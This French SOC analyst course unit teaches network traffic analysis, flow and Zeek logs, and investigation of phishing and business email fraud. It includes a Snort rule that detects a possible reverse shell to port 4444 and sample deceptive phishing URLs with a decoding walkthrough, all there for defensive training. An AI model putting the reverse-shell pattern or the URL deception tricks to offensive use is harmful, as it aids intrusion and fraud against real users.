- Apprendre
- Informatique et numérique
- Analyste SOC : SIEM, réponse aux incidents et vulnérabilités
- Analyse de l’activité réseau
Analyse de l’activité réseau, des courriels et des terminaux
IntermédiaireUnité 3 sur 7 de la formation Formation : Analyste SOC : SIEM, réponse aux incidents et vulnérabilités
Ce que tu vas apprendre
- Capture le trafic adapté, lis les paquets et les échanges, résume l’activité à l’aide des enregistrements de flux et des journaux de connexion, et reconnais les schémas réseau qui indiquent un balayage, du trafic de commande et contrôle, un tunnel ou un vol de données.
- Capture et filtre le trafic réseauChoisis où et comment capturer les paquets, écris des filtres de capture et d’affichage, et manipule les fichiers de capture de façon à préserver leur intégralité et leur fiabilité.
- Lis les paquets et reconstitue les échangesLis les couches d’un paquet, suis les échanges TCP et UDP, récupère les éléments transférés et évalue le trafic chiffré à partir de ses métadonnées.
- Analyse les données de flux et les journaux de connexionUtilise les enregistrements de flux et les journaux de connexion Zeek pour voir qui a communiqué avec qui, pendant combien de temps et en quelle quantité, et pour repérer les volumes et destinations inhabituels.
- Reconnais les indicateurs dans les données réseau et lis les alertes des systèmes de détection d’intrusionReconnais les balayages, les équipements non autorisés, les ports inattendus, le beaconing, les usages abusifs du DNS et les déplacements latéraux, et vérifie les alertes de détection d’intrusion au lieu de leur faire aveuglément confiance.
- Capture et filtre le trafic réseau
- Lis les en-têtes des courriels et les résultats d’authentification, reconnais l’hameçonnage et la fraude au courriel professionnel, analyse les liens et les pièces jointes sans t’exposer et retrouve tous les destinataires touchés par une campagne.
- Lis les en-têtes des courriels et les résultats d’authentificationRetrace le parcours d’un message à l’aide de ses en-têtes et interprète les résultats SPF, DKIM et DMARC, notamment ce qu’ils prouvent et ne prouvent pas.
- Reconnais l’hameçonnage et la fraude au courriel professionnelReconnais les techniques utilisées dans l’hameçonnage pour tromper sur l’expéditeur, les liens, le contenu et les pièces jointes, ainsi que les fraudes au paiement par courriel professionnel qui ne contiennent aucun logiciel malveillant.
- Analyse les liens et les pièces jointes en sécurité et détermine le périmètre de la campagneManipule les messages suspects sans t’exposer, décode et vérifie leurs liens et fichiers, extrais les indicateurs et retrouve toutes les personnes touchées par la campagne.
- Lis les en-têtes des courriels et les résultats d’authentification
- Utilise les outils de détection et réponse sur les terminaux et leurs journaux pour lire les arbres des processus et les lignes de commande, trouver les moyens par lesquels les attaquants conservent leur accès et reconnaître les modifications des fichiers, des logiciels et de la configuration qui révèlent la compromission d’un hôte.
- Utilise l’EDR et la télémétrie des terminauxExplique les rôles de l’EDR, du XDR et du MDM, connais les événements importants sur les terminaux et utilise les alertes, les pivots d’investigation et les actions de réponse de l’EDR lors d’une investigation.
- Analyse les processus et les lignes de commandeÉvalue les processus selon leur nom, leur chemin, leur parent, leur signataire et leur ligne de commande, reconnais les LOLBins et le PowerShell encodé, et décode ce que fait réellement une commande suspecte.
- Repère les mécanismes de persistanceRepère les emplacements de démarrage automatique utilisés par les attaquants sous Windows, Linux et macOS, lis les traces laissées par chacun et compare-les méthodiquement à un état connu comme sain.
- Repère les modifications des fichiers, des logiciels et de la configuration d’un hôteReconnais les indicateurs sur l’hôte au-delà des processus : fichiers suspects, logiciels non autorisés, paramètres affaiblis, utilisation anormale des ressources et données préparées en vue d’un vol.
- Utilise l’EDR et la télémétrie des terminaux
- Vérifie la réputation des fichiers, des domaines et des adresses IP, examine un fichier en sécurité sans l’exécuter et utilise un bac à sable pour observer son comportement, en connaissant les limites de chaque méthode.
- Vérifie la réputation des fichiers, des empreintes, des domaines et des adresses IPUtilise correctement les empreintes et les services de réputation, lis leurs résultats de manière critique et protège les données confidentielles pendant cette opération.
- Effectue une analyse statique élémentaireExamine un fichier suspect sans l’exécuter : identifie son type réel, extrais les chaînes de caractères, lis la structure de base d’un programme Windows, reconnais la compression, décode le contenu obfusqué et recherche les correspondances avec des règles YARA.
- Effectue et interprète une analyse en bac à sableFais détoner un échantillon en sécurité, lis le rapport comportemental, reconnais l’évasion et transforme les résultats en indicateurs que tu peux vérifier dans ton propre environnement.
- Vérifie la réputation des fichiers, des empreintes, des domaines et des adresses IP
- Rassemble les éléments de preuve du réseau, des courriels et des terminaux dans une chronologie, détermine si l’activité est malveillante en indiquant un niveau de confiance, puis consigne et transmets les résultats pour que d’autres puissent agir.
- Mets en corrélation les éléments de preuve pour établir une chronologieNormalise les heures, passe d’une source à l’autre à l’aide des champs communs et établis une chronologie qui explique le déroulement d’une attaque et indique où des preuves manquent encore.
- Formule une conclusion et consigne les résultatsClasse une alerte ou un événement avec un niveau de confiance justifié, consigne les résultats et les indicateurs pour que d’autres puissent les reproduire, et transmets les incidents confirmés en préservant les preuves.
- Mets en corrélation les éléments de preuve pour établir une chronologie
Analyse de l’activité réseau : cours
1Analyse le trafic réseau à partir des captures de paquets et des données de flux
Les paquets montrent des échanges individuels ; les enregistrements de flux révèlent des schémas sur une période plus longue. Tu choisiras un point de capture, filtreras le trafic, reconstitueras les échanges et mesureras les connexions inhabituelles. Les balayages, les contacts périodiques et les schémas DNS deviennent des pistes utiles lorsque tu les rapproches des rôles des hôtes et de l’activité attendue. La même analyse te permet aussi de vérifier ce qui a réellement déclenché une règle de détection d’intrusion.
1.1 Capture et filtre le trafic réseau
Une capture de paquets enregistre les en-têtes et la charge utile qui parviennent à un capteur dans un fichier .pcap ou .pcapng. Elle peut montrer le contenu des échanges non chiffrés, ainsi que les adresses, les ports et les horaires. Collecte-la et stocke-la conformément à la politique de surveillance de l’organisation : une capture peut contenir des mots de passe et des données personnelles.
Choisis un point de capture utile
Un TAP réseau copie passivement le trafic d’une liaison. Un port SPAN demande à un commutateur de mettre en miroir les ports ou VLAN sélectionnés. SPAN peut perdre des copies lorsque sa sortie est surchargée ; un TAP qui agrège les deux sens peut aussi perdre des paquets si leur volume cumulé dépasse la capacité du port de surveillance. Une capture sur un hôte voit le trafic de cet hôte. Un capteur à la frontière avec Internet manque le trafic qui reste à l’intérieur du réseau. À l’extérieur du NAT, il voit une adresse publique partagée : conserve donc les enregistrements NAT pour identifier l’hôte interne.
Enregistre largement, examine de façon ciblée
Un filtre de capture détermine ce qui est enregistré. Un filtre d’affichage modifie la vue des paquets déjà enregistrés. Leurs syntaxes diffèrent :
| Objectif | Filtre pour le trafic TCP d’un hôte sur le port 443 |
|---|---|
| Capture, syntaxe BPF | host 192.168.1.50 and tcp port 443 |
| Affichage Wireshark | ip.addr == 192.168.1.50 && tcp.port == 443 |
En BPF, port 443 inclut aussi UDP, dont QUIC. Un filtre de capture restrictif peut écarter définitivement l’autre canal d’un attaquant. Un filtre d’affichage peut être retiré dès que l’investigation change de direction.
Pour une capture ciblée, utilise :
sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22
-i sélectionne l’interface ; -nn conserve les adresses et les ports sous forme numérique et évite les recherches de noms ; -s 0 conserve les paquets entiers ; -w écrit les paquets bruts. Le filtre exclut le port 22, par exemple la session SSH d’un analyste. Lis le trafic DNS enregistré avec tcpdump -nn -r case42.pcap port 53.
Dans Wireshark, dns affiche le trafic DNS et http.request les requêtes HTTP. Utilise tcp.flags.syn == 1 && tcp.flags.ack == 0 pour les tentatives initiales de connexion TCP, tls.handshake.type == 1 pour les messages TLS Client Hello et ip.dst == 10.0.0.0/8 pour les destinations de cette plage. frame contains "password" trouve ce texte dans les octets capturés. Combine les conditions avec &&, || et !.
Prévois la conservation et préserve les preuves
À 40 % d’utilisation, une liaison de 100 Mbit/s transporte 40 Mbit/s. En divisant par huit, on obtient 5 Mo/s ; sur 3 600 secondes, cela représente 18 000 Mo, soit 18 Go. Les tampons circulaires écrasent les captures les plus anciennes, tandis que les captures ciblées réduisent les besoins de stockage. Exporte les preuves utiles avant qu’un tampon ne les écrase.
TLS laisse visibles les adresses, les tailles, les horaires et les métadonnées disponibles de la négociation, mais cache le contenu applicatif, sauf si des clés de session ou un point d’inspection permettent d’y accéder. La visibilité du DNS et du nom de serveur dépend aussi des protocoles utilisés. Calcule l’empreinte SHA-256 de la capture originale, consigne l’interface et l’intervalle de capture, et analyse une copie. Vérifie la synchronisation des horloges et les statistiques de perte de paquets ; le compteur « dropped by kernel » de tcpdump révèle le trafic manqué par le système de capture.
Points clés
- Le point de capture détermine le trafic visible et les identités d’hôtes qui nécessitent des enregistrements NAT.
- Les filtres de capture écartent les paquets exclus ; les filtres d’affichage masquent seulement les paquets enregistrés.
- Les filtres BPF et les filtres d’affichage Wireshark utilisent des syntaxes différentes.
- Tiens compte des deux sens de la liaison, du volume de stockage et des pertes de paquets.
- Préserve la capture originale, son empreinte SHA-256 et les horaires précis de capture.
1.2 Lis les paquets et reconstitue les échanges
Lis un paquet des informations externes d’acheminement jusqu’aux données applicatives. Sur Ethernet, Wireshark affiche les adresses MAC, puis les adresses IP et la durée de vie TTL, les ports TCP ou UDP et enfin DNS, HTTP, TLS ou un autre protocole applicatif. Le volet des détails permet d’ouvrir ces couches ; le volet des octets affiche leurs valeurs hexadécimales brutes.
Suis l’échange
TCP commence par SYN, SYN-ACK et ACK. Dans 10.0.0.23:51544 → 203.0.113.80:443 SYN, le port source élevé appartient au client. La réponse inverse les adresses et les ports. FIN demande une fermeture normale ; RST met fin brutalement à la connexion. Une réinitialisation en réponse à un SYN indique généralement un port fermé. L’absence de réponse peut résulter d’un filtrage, d’une perte ou d’un manque de visibilité : examine donc les paquets et l’emplacement de capture.
UDP n’a pas de négociation au niveau du transport. DNS utilise couramment UDP 53 et utilise aussi TCP 53, notamment pour les réponses volumineuses et les transferts de zone. Lis le type d’enregistrement demandé : A pour IPv4, AAAA pour IPv6, MX pour les serveurs de messagerie, TXT pour du texte et CNAME pour un alias. NXDOMAIN signifie que le nom demandé n’existe pas.
Une réponse DNS suivie d’une connexion à l’adresse IP qu’elle renvoie suggère un lien. Confirme le nom demandé à l’aide d’un en-tête HTTP Host, du SNI TLS visible, des enregistrements du proxy ou des données du terminal : plusieurs domaines peuvent partager cette adresse.
Reconstitue l’activité applicative
La fonction Suivre le flux TCP de Wireshark reconstitue un échange dans l’ordre et distingue les deux sens par des couleurs. Statistiques → Conversations classe les paires qui communiquent selon le nombre de paquets et d’octets ; Hiérarchie des protocoles montre la répartition des protocoles.
Supposons qu’un flux contienne :
GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0
La réponse est 200 OK, déclare application/octet-stream et commence par MZ. Ces octets suggèrent un exécutable Windows. Le chemin .php peut renvoyer n’importe quel contenu ; il ne correspond pas nécessairement au nom du fichier téléchargé. Vérifie le type, l’empreinte et la signature de l’objet exporté, puis relie la requête à son processus et à l’historique de la destination.
Les requêtes GET récupèrent du contenu ; les requêtes POST envoient un corps. Lis ensemble l’en-tête Host, le chemin, le User-Agent, l’état de la réponse et les tailles des corps. Des corps de requêtes POST volumineux et répétés vers une nouvelle destination méritent une investigation. Les codes 301 et 302 redirigent le client, tandis que 404 indique une ressource manquante.
Fichier → Exporter les objets → HTTP, ou l’équivalent pour SMB, permet de récupérer des objets transférés lorsque le contenu non chiffré nécessaire est présent. Garde les échantillons récupérés dans l’environnement d’analyse isolé et consigne leurs empreintes.
Interprète correctement le trafic chiffré
Un Client Hello expose normalement le SNI, le nom de serveur demandé, sauf s’il est protégé par Encrypted Client Hello. TLS 1.2 expose le certificat du serveur pendant la négociation ; TLS 1.3 le chiffre. Les empreintes JA3 et JA4 résument les caractéristiques du Client Hello et peuvent aider à regrouper des clients similaires. Un nouveau certificat, l’absence de SNI ou une empreinte partagée constitue une piste à examiner selon le contexte du processus et de la destination.
Le port 443 suggère HTTPS, mais ne permet pas d’établir le protocole. Examine l’échange réel ou utilise Décoder comme lorsqu’un analyseur a besoin d’aide pour reconnaître un protocole sur un port inhabituel.
Points clés
- Identifie l’initiateur à partir de la négociation et suis le sens inverse de la réponse.
- Relie les réponses DNS aux noms applicatifs avant d’attribuer une connexion à un domaine.
- Reconstitue les flux et exporte les objets pour examiner ce qui a été transféré.
- La visibilité du trafic TLS varie selon la version de TLS et l’utilisation d’Encrypted Client Hello.
- Confirme les protocoles à partir de l’échange, sans te limiter au numéro de port.
1.3 Analyse les données de flux et les journaux de connexion
Les enregistrements de flux résument le trafic sans conserver sa charge utile. Ils permettent de rechercher facilement dans plusieurs semaines d’activité avant de récupérer une courte capture de paquets. Le quintuplet, ou tuple à 5 éléments, habituel comprend l’adresse IP source, l’adresse IP destination, le port source, le port destination et le protocole de transport. Les enregistrements contiennent aussi les horaires, les nombres observés et souvent les indicateurs TCP.
Comprends comment la source compte
NetFlow v5 possède un format IPv4 fixe ; NetFlow v9 utilise des modèles et prend en charge IPv6. IPFIX est la norme de l’IETF issue de cette approche par modèles. Les journaux de flux du cloud fournissent des synthèses réseau apparentées. sFlow échantillonne les paquets et ajoute des compteurs d’interface : ses observations doivent donc être extrapolées avec soin.
Avec un échantillonnage de 1 paquet sur 1 000, 1 200 paquets échantillonnés représentent environ 1,2 million de paquets. L’estimation décrit le volume ; une brève connexion peut ne laisser aucun paquet échantillonné. Un échantillon vide est un élément de preuve faible pour déterminer si une connexion particulière a eu lieu.
Les exportateurs enregistrent souvent chaque sens séparément et découpent les connexions longues lorsque les délais d’expiration des connexions actives sont atteints. Associe les enregistrements inverses en échangeant les deux adresses et les deux ports, tout en conservant le protocole. Regroupe ensuite les fragments appartenant à une même connexion. Additionne les octets séparément par sens et mesure le temps écoulé entre le premier début et la dernière fin. Additionner les durées d’enregistrements qui se chevauchent gonfle le temps.
Lis les enregistrements de connexion Zeek
Zeek produit des journaux structurés de connexion et de protocole. Dans conn.log, ts est l’heure de début et uid relie la connexion à des enregistrements comme http.log ou ssl.log. Les champs id.orig_h et id.orig_p désignent l’initiateur ; id.resp_h et id.resp_p désignent le répondant. L’initiateur a lancé l’échange et peut être un hôte externe. proto, service, duration, orig_bytes et resp_bytes décrivent le transport, l’application reconnue et l’activité.
| État TCP | Interprétation |
|---|---|
S0 | Une tentative a été observée sans réponse. |
REJ | La cible a rejeté la tentative. |
SF | Une connexion a été établie et fermée normalement. |
OTH | Du trafic a été observé sans SYN, souvent parce que l’observation a commencé au milieu de l’échange. |
Pour les tentatives sans réponse, Zeek peut indiquer zéro octet de charge utile alors que des paquets ont bien circulé. Les exportateurs de flux comptent généralement aussi les en-têtes IP : leurs nombres d’octets diffèrent donc. Lis le nombre de paquets et l’état en tenant compte de la définition documentée des champs d’octets.
Mesure un transfert sortant inhabituel
De 2 h 10 à 2 h 50 UTC, 10.0.0.23 envoie 2,4 Go à 198.51.100.7:443 et reçoit 12 Mo. Convertis 2,4 Go en 2 400 Mo : le volume sortant est 200 fois supérieur au volume entrant. Quarante minutes correspondent à 2 400 secondes : le débit sortant moyen est donc de 1 Mo/s, soit 8 Mbit/s.
Le débit ne constitue pas une conclusion. Compare le volume habituel de l’hôte, l’historique de ses destinations et son rôle. Une sauvegarde planifiée peut expliquer un transfert nocturne ; une nouvelle destination et un processus d’envoi non approuvé renforcent l’hypothèse d’un vol de données. Poursuis l’investigation dans l’EDR pour trouver le processus responsable, dans les données DNS ou du proxy pour le nom, et dans les paquets pour le contenu s’ils sont disponibles. Une référence de fonctionnement doit comparer des rôles similaires : un serveur de sauvegarde et le poste d’un réceptionniste ont des trafics normaux différents.
Points clés
- Les données de flux décrivent les adresses, les horaires et les volumes, sans la charge utile applicative.
- Les nombres issus d’un échantillonnage sont des estimations et peuvent manquer les événements courts.
- Associe les deux sens, fusionne les fragments dus aux délais d’expiration et utilise l’intervalle de temps écoulé complet.
- Utilise l’uid de Zeek pour relier les journaux de protocoles et conn_state pour interpréter les tentatives.
- Interprète les compteurs d’octets selon la source qui les a produits.
- Compare le trafic inhabituel au rôle de l’hôte, à la référence de fonctionnement et au processus responsable.
1.4 Reconnais les indicateurs dans les données réseau et lis les alertes des systèmes de détection d’intrusion
Les schémas réseau indiquent où mener une investigation. Un scanneur approuvé et un intrus peuvent créer des paquets très similaires.
Reconnais la forme du trafic
Un balayage vertical sonde de nombreux ports sur un même hôte. Un balayage horizontal sonde le même port sur de nombreux hôtes. Si 10.0.0.99 envoie des SYN vers 1 000 ports sur 10.0.0.5 en 12 secondes, le rythme est d’environ 83 tentatives par seconde. De nombreux enregistrements S0 ou REJ et quelques connexions réussies correspondent à un balayage. Vérifie l’inventaire des scanneurs et le calendrier autorisé.
Un équipement non autorisé est connecté sans autorisation. Compare les nouveaux baux DHCP et les adresses MAC à l’inventaire des actifs ; un préfixe fabricant inconnu, un point d’accès non autorisé ou un second serveur DHCP exige une investigation. Le NAC aide à contrôler quels équipements peuvent se connecter.
Évalue les services selon le rôle de l’hôte. SSH utilise généralement le port 22, SMTP le 25, DNS le 53, HTTP le 80, HTTPS le 443, SMB le 445, RDP le 3389 et WinRM les 5985/5986. Du trafic SMTP sortant directement d’un poste de travail peut indiquer un programme automatisé de diffusion de courriers indésirables. Des connexions SMB ou RDP d’un poste vers de nombreux autres peuvent indiquer un déplacement latéral. Vérifie quel service est réellement présent.
Distingue les minuteries de l’activité utilisateur
Des connexions à 10:00:00, 10:05:02, 10:09:59, 10:15:01 et 10:20:00 présentent des intervalles de 302, 297, 302 et 299 secondes. La moyenne est de 300 secondes et la dispersion est d’environ deux secondes. De petits échanges similaires à ces intervalles suggèrent une minuterie. Le beaconing est un contact répété avec un serveur C2 ; les agents de mise à jour utilisent aussi des minuteries. Trouve le processus initiateur et le rôle de la destination. Un logiciel malveillant peut ajouter de la gigue, par exemple ±20 %, si bien qu’un schéma moins régulier mérite aussi de l’attention.
Examine les usages abusifs du DNS
Un tunnel DNS place des données dans les noms des requêtes, souvent avec de longues parties encodées et de nombreux sous-domaines distincts. Une partie peut contenir au maximum 63 caractères ; un nom complet ordinaire sous forme textuelle est limité à 253 caractères. Des requêtes TXT ou NULL répétées et un volume élevé renforcent cette hypothèse. De nombreux noms d’apparence aléatoire qui renvoient NXDOMAIN suggèrent qu’un DGA essaie des noms jusqu’à ce que l’un d’eux soit résolu. Le DNS sur HTTPS externe peut aussi soustraire l’activité aux journaux DNS habituels de l’organisation.
Lis et vérifie une règle
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)
L’en-tête indique qu’une alerte doit être déclenchée pour le trafic TCP allant du réseau interne vers le port externe 4444. La condition flow exige du trafic établi vers le serveur ; sid identifie la règle et rev sa révision. Le message évoque un possible interpréteur de commandes inversé, mais cette règle vérifie un schéma de connexion, pas les commandes d’un interpréteur.
Snort et Suricata comparent le trafic à des règles ; Zeek fournit principalement des journaux et des scripts comportementaux. Vérifie une alerte IDS à l’aide de ses paquets, de la plateforme de la cible et des changements sur le terminal après l’échange. Le mode détection observe des copies ; un IPS placé en ligne peut bloquer le trafic, si bien qu’une correspondance erronée peut perturber l’activité.
Points clés
- Vérifie l’autorisation avant de traiter un schéma de balayage comme un incident.
- Utilise l’inventaire des équipements et les rôles des hôtes pour identifier l’activité réseau inattendue.
- Des horaires réguliers suggèrent une automatisation ; le contexte du processus et de la destination permet de distinguer une commande et un contrôle.
- Examine ensemble les longues parties de noms DNS, les noms distincts, le volume de requêtes et les schémas NXDOMAIN.
- Lis les conditions de la règle avant d’accepter le message d’alerte comme un constat.
- Confirme une exploitation suspectée à l’aide des preuves provenant de la cible et du terminal.
2Analyse les courriels suspects
Une investigation sur un courriel commence par le message original et se termine par les personnes et les appareils touchés. Tu retraceras les en-têtes fiables, distingueras les identités d’expéditeur derrière SPF, DKIM et DMARC, et examineras l’action demandée par le message. L’analyse des liens et des pièces jointes fournit ensuite les champs de recherche permettant de retrouver l’ensemble de la campagne, y compris les fraudes au paiement qui ne contiennent aucun fichier malveillant.
2.1 Lis les en-têtes des courriels et les résultats d’authentification
L’adresse visible par le lecteur et l’identité vérifiée pendant la remise du courriel sont des champs différents. Commence par le fichier .eml ou .msg original afin de conserver les en-têtes qu’une copie transférée peut remplacer. Un analyseur d’en-têtes peut organiser les éléments de preuve, mais tu dois toujours savoir quel serveur a produit chaque résultat.
Identifie les identités et les relais fiables
L’expéditeur de l’enveloppe SMTP sert aux messages de non-remise et apparaît dans Return-Path. L’en-tête From indique l’expéditeur visible. Reply-To détermine où vont les réponses et Message-ID aide à retrouver les enregistrements de messagerie associés. Un service de diffusion peut légitimement utiliser un domaine d’enveloppe différent du domaine visible de son client.
Chaque relais ajoute une ligne Received en tête. Lis la séquence du parcours de bas en haut, mais établis la confiance à partir des entrées de ta propre passerelle : un expéditeur peut falsifier les lignes situées sous la première entrée fiable. Un champ facultatif X-Mailer est lui aussi contrôlé par l’expéditeur. Utilise l’adresse IP expéditrice enregistrée par ton serveur de réception fiable.
Applique les trois vérifications
| Vérification | Identité et résultat |
|---|---|
| SPF | Compare l’adresse IP du serveur qui se connecte aux expéditeurs autorisés par le domaine de l’enveloppe. |
| DKIM | Vérifie la signature d’un domaine portant sur certains en-têtes et l’empreinte du corps. |
| DMARC | Exige une identité SPF ou DKIM ayant réussi la vérification et alignée sur le domaine From visible. |
Un enregistrement SPF TXT comme v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autorise cette plage et les expéditeurs inclus. -all donne un échec aux autres expéditeurs ; ~all donne un échec souple. Les résultats peuvent aussi être neutral, none, temperror ou permerror. Le transfert fait souvent échouer SPF, car l’adresse IP du serveur de transfert n’est pas autorisée par le domaine de l’enveloppe d’origine.
Dans DKIM, d= indique le domaine signataire et s= sélectionne sa clé à l’adresse <selector>._domainkey.<domain>. Une signature valide signifie que les éléments signés sont restés inchangés. Le transfert peut la préserver, tandis qu’une réécriture du message peut l’invalider.
L’alignement DMARC souple accepte un même domaine organisationnel ; l’alignement strict exige une correspondance exacte des domaines. La politique TXT à l’adresse _dmarc.<domain> peut demander none, quarantine ou reject ; le destinataire décide du traitement. La RFC 9989 a remplacé l’ancienne norme DMARC en mai 2026, supprimé pct et introduit le mode de test t=y. Vérifie une politique avec nslookup -type=txt _dmarc.example.com.
Analyse un résultat d’authentification
Ta passerelle indique une réussite SPF pour mailer.example-billing.net, une réussite DKIM pour example-billing.net et un domaine From examp1e.com. Aucun des deux domaines ayant réussi n’est aligné sur le domaine visible : DMARC échoue donc. SPF et DKIM ont authentifié des identités différentes ; ils n’ont pas authentifié cette adresse visible.
Lis uniquement l’en-tête Authentication-Results ajouté par une passerelle fiable. Un domaine ressemblant appartenant à un attaquant et correctement configuré peut réussir les trois vérifications, tout comme une boîte aux lettres légitime compromise. Combine l’authentification avec l’historique de l’expéditeur, le contenu du message et l’analyse des liens. À l’inverse, vérifie si un transfert ou des modifications par une liste de diffusion expliquent un échec avant de conclure à une usurpation.
Points clés
- Distingue l’expéditeur de l’enveloppe, le From visible et l’identité Reply-To.
- Fais confiance aux lignes d’en-tête et aux résultats d’authentification produits par tes propres systèmes de réception.
- SPF vérifie une adresse IP expéditrice ; DKIM vérifie le contenu signé ; DMARC vérifie l’alignement.
- DMARC exige une méthode ayant réussi et alignée, pas deux réussites pour des domaines sans rapport.
- L’authentification peut réussir pour des domaines appartenant à un attaquant ou des boîtes aux lettres compromises.
2.2 Reconnais l’hameçonnage et la fraude au courriel professionnel
L’hameçonnage cherche à transformer un message en action nuisible : divulguer des identifiants, envoyer de l’argent ou exécuter un fichier. L’indice le plus fort est souvent un écart par rapport au processus habituel du destinataire. Un attaquant peut facilement fournir un texte fluide et un nom familier.
Lis attentivement l’expéditeur et la destination
L’usurpation du nom affiché place un nom de confiance au-dessus d’une adresse sans rapport, comme "IT Service Desk" <it.desk.2291@freemail.example>. Le typosquattage modifie l’orthographe d’un domaine ; les domaines cousins ajoutent des mots rassurants. Les homoglyphes remplacent des caractères par des caractères similaires d’autres alphabets. Une première lettre cyrillique fait de аpple.com un domaine différent ; sa forme punycode est xn--pple-43d.com.
Le libellé visible d’un lien peut différer de sa cible réelle. Les raccourcisseurs et les redirections ouvertes masquent les destinations suivantes. Dans https://www.example.com@198.51.100.7/login, l’hôte est 198.51.100.7 ; la partie avant @ contient des informations utilisateur. Dans https://example.com.login-verify.net/, le domaine enregistré est login-verify.net. Lire les mots rassurants tout à gauche conduit à identifier à tort la personne qui contrôle la destination.
Reconnais l’action demandée
L’urgence, la prétendue autorité d’un dirigeant, les menaces de fermeture de compte, les cartes-cadeaux et les changements de coordonnées bancaires poussent tous le destinataire à contourner les vérifications établies. L’hameçonnage ciblé utilise des renseignements sur une cible précise ; la chasse à la baleine vise les dirigeants. Parmi les modes de diffusion apparentés figurent l’hameçonnage par SMS, par appel vocal et par code QR. Un code QR peut transférer un lien vers un téléphone, hors du filtrage des liens de courriels.
Les pièces jointes peuvent contenir des documents à macros, des pages de connexion HTML ou de la contrebande HTML, des archives protégées par mot de passe, des images disque, des raccourcis LNK ou des PDF contenant des liens. Les versions récentes d’Office bloquent par défaut les macros dans les fichiers signalés comme provenant d’Internet : les messages peuvent donc expliquer aux utilisateurs comment lever le blocage. Un mot de passe d’archive gêne l’inspection, même si certaines passerelles peuvent l’extraire du message et analyser le contenu.
Examine une fraude au paiement sans logiciel malveillant
La fraude au courriel professionnel, ou BEC, usurpe l’identité d’un collègue, d’un dirigeant ou d’un fournisseur pour obtenir de l’argent, une modification des coordonnées de paiement ou des informations sensibles. Elle peut utiliser une adresse ressemblante ou une véritable boîte aux lettres compromise. Elle ne contient souvent ni lien ni pièce jointe, laissant peu à examiner aux scanneurs. Un Reply-To modifié ou une nouvelle règle masquant les réponses constitue un élément de preuve complémentaire utile.
Dans un fil existant consacré à une facture, un fournisseur connu demande qu’un paiement de 48 000 € soit envoyé sur un nouveau compte bancaire. L’authentification réussit. La boîte aux lettres a été compromise et l’attaquant a utilisé le détournement de fil de discussion pour profiter de la confiance établie dans la conversation. Vérifie la demande à l’aide d’un numéro de téléphone déjà présent dans la fiche du fournisseur avant de modifier les coordonnées de paiement. Un numéro fourni dans le message fait partie de la demande non vérifiée.
Une adresse interne peut aussi être compromise ; inclus les destinataires et les réponses internes dans l’investigation sur le compte.
Points clés
- Examine l’adresse réelle de l’expéditeur et l’hôte de l’URL, au-delà des noms visibles et du texte du lien.
- Une pression pour contourner les vérifications habituelles de paiement ou de compte est un signe d’hameçonnage.
- Une fraude au courriel professionnel peut utiliser une véritable boîte aux lettres et ne contenir ni lien ni pièce jointe.
- Vérifie les nouvelles instructions de paiement auprès d’un contact obtenu indépendamment du message.
2.3 Analyse les liens et les pièces jointes en sécurité et détermine le périmètre de la campagne
Une investigation sur un hameçonnage a deux objectifs : comprendre le message et retrouver toutes les personnes qu’il a touchées. Une copie signalée est un point de départ. L’action effectuée par un destinataire détermine les preuves à rechercher ensuite sur son compte ou son hôte.
Préserve et examine le message
Exporte le message original avec ses en-têtes complets, puis copie les URL sous forme de texte pour les examiner dans un environnement d’analyse isolé. Consigne les indicateurs sous forme neutralisée, comme hxxps://login-verify[.]net/acct, afin d’éviter les clics accidentels dans les tickets. Préserve l’original intact à côté de la copie de travail.
Les passerelles de messagerie peuvent inclure une URL dans le paramètre d’une autre URL. L’encodage pour cent représente les caractères par un signe pour cent et deux chiffres hexadécimaux : %3A correspond à deux-points et %2F à une barre oblique. Décode une couche à la fois et examine le résultat avant d’en interpréter une autre.
Par exemple, le décodage URL de :
https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D
donne https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Le décodage Base64 de la valeur u donne jane@example.org. Le paramètre identifie le destinataire visé et peut personnaliser la fausse page. Les opérations URL Decode, From Base64 et Defang URL de CyberChef rendent visibles ces transformations distinctes.
Avant de soumettre une URL à un service public, retire les valeurs qui identifient la victime ; un résultat public ou une requête personnalisée peut révéler l’investigation à l’attaquant. Prévisualise les liens raccourcis à l’aide d’un service d’analyse approuvé. La visibilité et le comportement du service lors de la soumission comptent autant que l’URL elle-même.
Examine les fichiers et extrais les champs de recherche
Calcule l’empreinte SHA-256 d’une pièce jointe et recherche sa réputation avant de la téléverser. Vérifie son type à partir des premiers octets. Pour un fichier Office, olevba peut répertorier les macros et repérer les déclencheurs automatiques comme AutoOpen ou Document_Open, ainsi que les appels comme Shell. Utilise un bac à sable privé pour les contenus internes confidentiels.
Recueille l’adresse et le nom affiché de l’expéditeur, l’adresse IP dans l’entrée Received fiable, l’objet, le Message-ID, les hôtes et chemins des URL, ainsi que les noms et empreintes des pièces jointes. Garde les valeurs exactes dans les preuves ; utilise des copies neutralisées dans les notes. Un nom de fichier peut changer d’un message à l’autre, tandis qu’une empreinte identique relie des contenus de fichier identiques.
Détermine les destinataires et leurs interactions
Recherche dans les enregistrements de la passerelle et des boîtes aux lettres à l’aide de plusieurs de ces champs. Répertorie les destinataires, puis distingue la remise du message des interactions à l’aide des enregistrements DNS et du proxy, des connexions après visite du lien et des événements EDR relatifs à l’ouverture et à l’exécution des pièces jointes.
Une recherche peut trouver 40 messages remis, six personnes ayant visité le lien et deux comptes ayant connu des connexions réussies inhabituelles quelques minutes plus tard. Préserve les enregistrements, supprime les messages de la campagne et bloque l’URL ou le domaine malveillant dans le cadre du processus de réponse. Les deux comptes touchés nécessitent une réinitialisation des mots de passe et une révocation des sessions actives. Une simple liste de destinataires ne montrerait pas la différence entre exposition et compromission probable.
Clore le ticket parce que l’utilisateur à l’origine du signalement a supprimé le message laisse les autres destinataires sans examen. Consigne qui l’a reçu, qui a interagi, ce qui a suivi et quelles preuves manquent encore.
Points clés
- Préserve le message original et travaille avec des copies neutralisées des indicateurs.
- Décode séparément les couches d’URL et reconnais les paramètres qui identifient le destinataire.
- Protège les pièces jointes confidentielles et les URL personnalisées contre les soumissions publiques.
- Détermine le périmètre de la campagne à l’aide des champs des messages, des empreintes et des URL.
- Distingue la remise du message, l’interaction et la compromission qui peut suivre.
